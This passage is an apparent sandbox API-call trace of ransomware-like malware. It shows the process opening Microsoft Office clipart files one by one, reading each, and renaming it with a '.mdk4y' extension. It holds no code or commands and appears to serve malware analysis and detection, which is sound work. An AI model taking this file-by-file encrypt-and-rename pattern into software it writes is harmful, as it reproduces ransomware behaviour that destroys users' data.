"c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386485.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0169.513] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824474300000) returned 1 [0169.513] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x396a, lpOverlapped=0x0) returned 1 [0169.520] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824475000000) returned 1 [0169.520] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824475000000) returned 1 [0169.520] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386485.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386485.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386485.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386485.jpg.mdk4y")) returned 1 [0169.522] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0169.522] AreFileApisANSI () returned 1 [0169.522] GetACP () returned 0x4e4 [0169.522] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0386764.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0386764.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0169.522] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386764.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386764.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0169.523] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824475300000) returned 1 [0169.523] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x693e, lpOverlapped=0x0) returned 1 [0169.529] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824475900000) returned 1 [0169.530] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824476000000) returned 1 [0169.530] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386764.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386764.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386764.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386764.jpg.mdk4y")) returned 1 [0169.531] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0169.531] AreFileApisANSI () returned 1 [0169.531] GetACP () returned 0x4e4 [0169.531] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0387337.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0387337.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0169.531] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387337.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387337.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0169.532] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824476200000) returned 1 [0169.532] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xcb0a, lpOverlapped=0x0) returned 1 [0169.534] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824476400000) returned 1 [0169.534] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824476400000) returned 1 [0169.535] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387337.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387337.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387337.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387337.jpg.mdk4y")) returned 1 [0169.536] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0169.536] AreFileApisANSI () returned 1 [0169.536] GetACP () returned 0x4e4 [0169.536] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0387578.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0387578.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0169.536] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387578.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387578.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0169.536] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824476600000) returned 1 [0169.537] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x6cec, lpOverlapped=0x0) returned 1 [0169.548] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824477800000) returned 1 [0169.548] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824477800000) returned 1 [0169.549] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387578.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387578.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387578.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387578.jpg.mdk4y")) returned 1 [0169.550] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0169.550] AreFileApisANSI () returned 1 [0169.550] GetACP () returned 0x4e4 [0169.550] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0387591.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0387591.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0169.550] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387591.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387591.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0169.552] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824478200000) returned 1 [0169.552] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x98c7, lpOverlapped=0x0) returned 1 [0169.553] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824478300000) returned 1 [0169.554] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824478400000) returned 1 [0169.554] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387591.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387591.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387591.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387591.jpg.mdk4y")) returned 1 [0169.555] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0169.555] AreFileApisANSI () returned 1 [0169.555] GetACP () returned 0x4e4 [0169.555] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0387604.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0387604.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0169.555] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387604.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387604.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0169.556] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824478600000) returned 1 [0169.556] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xb9bf, lpOverlapped=0x0) returned 1 [0169.558] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824478800000) returned 1 [0169.558] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824478800000) returned 1 [0169.559] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387604.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387604.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387604.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387604.jpg.mdk4y")) returned 1 [0169.559] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0169.559] AreFileApisANSI () returned 1 [0169.560] GetACP () returned 0x4e4 [0169.560] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0387882.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0387882.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0169.560] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387882.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387882.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0169.560] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824479000000) returned 1 [0169.560] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x98ec, lpOverlapped=0x0) returned 1 [0169.562] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824479200000) returned 1 [0169.562] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824479200000) returned 1 [0169.563] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387882.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387882.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387882.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387882.jpg.mdk4y")) returned 1 [0169.563] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0169.563] AreFileApisANSI () returned 1 [0169.563] GetACP () returned 0x4e4 [0169.563] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0387895.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0387895.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0169.564] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387895.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0169.565] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824479500000) returned 1 [0169.565] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7df3, lpOverlapped=0x0) returned 1 [0169.566] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824479600000) returned 1 [0169.566] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824479600000) returned 1 [0169.567] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387895.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387895.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387895.jpg.mdk4y")) returned 1 [0169.568] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0169.568] AreFileApisANSI () returned 1 [0169.568] GetACP () returned 0x4e4 [0169.568] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0390072.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0390072.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0169.568] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0390072.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0390072.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0169.569] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824479900000) returned 1 [0169.569] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x351c, lpOverlapped=0x0) returned 1 [0169.575] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824480500000) returned 1 [0169.575] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824480500000) returned 1 [0169.575] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0390072.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0390072.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0390072.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0390072.jpg.mdk4y")) returned 1 [0169.577] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0169.577] AreFileApisANSI () returned 1 [0169.577] GetACP () returned 0x4e4 [0169.577] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0400001.PNG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0400001.PNG", lpUsedDefaultChar=0x37df4c) returned 12 [0169.577] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400001.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400001.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0169.578] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824480800000) returned 1 [0169.578] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x31883, lpOverlapped=0x0) returned 1 [0169.592] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824482200000) returned 1 [0169.592] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824482200000) returned 1 [0169.594] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400001.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400001.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400001.PNG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400001.png.mdk4y")) returned 1 [0169.595] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0169.595] AreFileApisANSI () returned 1 [0169.595] GetACP () returned 0x4e4 [0169.595] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0400002.PNG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0400002.PNG", lpUsedDefaultChar=0x37df4c) returned 12 [0169.595] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400002.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400002.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0169.595] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824482500000) returned 1 [0169.595] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x15d49, lpOverlapped=0x0) returned 1 [0169.597] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824482700000) returned 1 [0169.597] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824482700000) returned 1 [0169.598] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400002.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400002.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400002.PNG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400002.png.mdk4y")) returned 1 [0169.600] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0169.608] AreFileApisANSI () returned 1 [0169.608] GetACP () returned 0x4e4 [0169.608] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0400003.PNG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0400003.PNG", lpUsedDefaultChar=0x37df4c) returned 12 [0169.608] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400003.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400003.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0169.609] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824483900000) returned 1 [0169.609] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1e836, lpOverlapped=0x0) returned 1 [0169.611] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824484100000) returned 1 [0169.612] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824484200000) returned 1 [0169.613] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400003.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400003.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400003.PNG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400003.png.mdk4y")) returned 1 [0169.614] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0169.614] AreFileApisANSI () returned 1 [0169.614] GetACP () returned 0x4e4 [0169.614] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0400004.PNG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0400004.PNG", lpUsedDefaultChar=0x37df4c) returned 12 [0169.614] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400004.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400004.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0169.615] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824484500000) returned 1 [0169.615] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x19a5d, lpOverlapped=0x0) returned 1 [0169.616] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824484600000) returned 1 [0169.616] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824484600000) returned 1 [0169.617] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400004.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400004.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400004.PNG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400004.png.mdk4y")) returned 1 [0169.618] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0169.618] AreFileApisANSI () returned 1 [0169.618] GetACP () returned 0x4e4 [0169.618] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0400005.PNG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0400005.PNG", lpUsedDefaultChar=0x37df4c) returned 12 [0169.618] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400005.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400005.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0169.619] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824484900000) returned 1 [0169.619] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x17742, lpOverlapped=0x0) returned 1 [0169.621] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824485100000) returned 1 [0169.621] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824485100000) returned 1 [0169.622] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400005.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400005.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400005.PNG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400005.png.mdk4y")) returned 1 [0169.623] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0169.623] AreFileApisANSI () returned 1 [0169.623] GetACP () returned 0x4e4 [0169.623] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="JAVA_01.MID", cchWideChar=11, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="JAVA_01.MIDG", lpUsedDefaultChar=0x37df4c) returned 11 [0169.623] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0169.623] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824485300000) returned 1 [0169.624] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, 